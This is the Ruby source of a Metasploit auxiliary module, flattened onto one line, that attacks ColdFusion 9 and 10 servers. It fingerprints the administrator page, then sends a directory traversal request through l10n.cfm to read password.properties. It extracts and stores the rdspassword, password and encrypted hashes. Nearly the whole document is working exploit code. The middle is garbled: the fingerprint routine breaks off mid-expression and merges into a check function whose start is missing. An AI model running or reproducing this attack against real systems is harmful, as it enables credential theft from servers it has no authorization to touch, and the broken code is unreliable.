## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Auxiliary include Msf::Auxiliary::Report include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => "ColdFusion 'password.properties' Hash Extraction", 'Description' => %q{ This module uses a directory traversal vulnerability to extract information such as password, rdspassword, and "encrypted" properties. This module has been tested successfully on ColdFusion 9 and ColdFusion 10. Use actions to select the target ColdFusion version. }, 'References' => [ [ 'OSVDB', '93114' ], [ 'EDB', '25305' ] ], 'Author' => [ 'HTP', 'sinn3r', 'nebulus' ], 'License' => MSF_LICENSE, 'Actions' => [ ['ColdFusion10'], ['ColdFusion9'] ], 'DefaultAction' => 'ColdFusion10', 'DisclosureDate' => "May 7 2013" #The day we saw the subzero poc )) register_options( [ Opt::RPORT(80), OptString.new("TARGETURI", [true, 'Base path to ColdFusion', '/']) ], self.class) end def fingerprint(response) if(response.headers.has_key?('Server') ) if(response.headers['Server'] =~ /IIS/ or response.headers['Server'] =~ /\(Windows/) os = "Windows (#{response.headers['Server']})" elsif(response.headers['Server'] =~ /Apache\//) os = "Unix (#{response.headers['Server']})" else os = response.headers['Server'] end end return nil if response.body.length < 100 title = "Not Found" response.body.gsub!(/[\r\n]/, '') if(response.body =~ /(.+)<\/title\/?>/i) title = $1 title.gsub!(/\s/, '') end return nil if( title == 'Not Found' or not title =~ /ColdFusionAdministrator/) out = nil if(response.body =~ />\s*Version:\s*(.*)<\/strong\>\s+ url, 'method' => 'GET', 'Connection' => "keep-alive", 'Accept-Encoding' => "zip,deflate", }) if(res != nil) # can't stack b/c res.code won't exist if res is nil vuln = true if(res.code == 500 and res.body =~ /attributes\.id was not provided/) end if(vuln) url = '/CFIDE/administrator/mail/download.cfm' res = send_request_cgi({ 'uri' => url, 'method' => 'GET', 'Connection' => "keep-alive", 'Accept-Encoding' => "zip,deflate", }) if(res != nil) vuln = false if (res.code != 200) end end return vuln end def run filename = "" url = '/CFIDE/administrator/index.cfm' # print_status("Getting index...") res = send_request_cgi({ 'uri' => url, 'method' => 'GET', 'Connection' => "keep-alive", 'Accept-Encoding' => "zip,deflate", }) # print_status("Got back: #{res.inspect}") return if not res return if not res.body or not res.code return if not res.code.to_i == 200 out, filename = fingerprint(res) print_status("#{peer} #{out}") if out if(out =~ /Not Vulnerable/) print_status("#{peer} isn't vulnerable to this attack") return end if(not check_cf) print_status("#{peer} can't be exploited (either files missing or permissions block access)") return end res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'CFIDE', 'adminapi', 'customtags', 'l10n.cfm'), 'encode_params' => false, 'encode' => false, 'vars_get' => { 'attributes.id' => 'it', 'attributes.file' => '../../administrator/mail/download.cfm', 'filename' => filename, 'attributes.locale' => 'it', 'attributes.var' => 'it', 'attributes.jscript' => 'false', 'attributes.type' => 'text/html', 'attributes.charset' => 'UTF-8', 'thisTag.executionmode' => 'end', 'thisTag.generatedContent' => 'htp' } }) if res.nil? print_error("#{peer} - Unable to receive a response") return end rdspass = res.body.scan(/^rdspassword=(.+)/).flatten[0] || '' password = res.body.scan(/^password=(.+)/).flatten[0] || '' encrypted = res.body.scan(/^encrypted=(.+)/).flatten[0] || '' if rdspass.empty? and password.empty? # No pass collected, no point to store anything print_error("#{peer} - No passwords found") return end print_good("#{peer} - rdspassword = #{rdspass}") print_good("#{peer} - password = #{password}") print_good("#{peer} - encrypted = #{encrypted}") p = store_loot('coldfusion.password.properties', 'text/plain', rhost, res.body) print_good("#{peer} - password.properties stored in '#{p}'") end end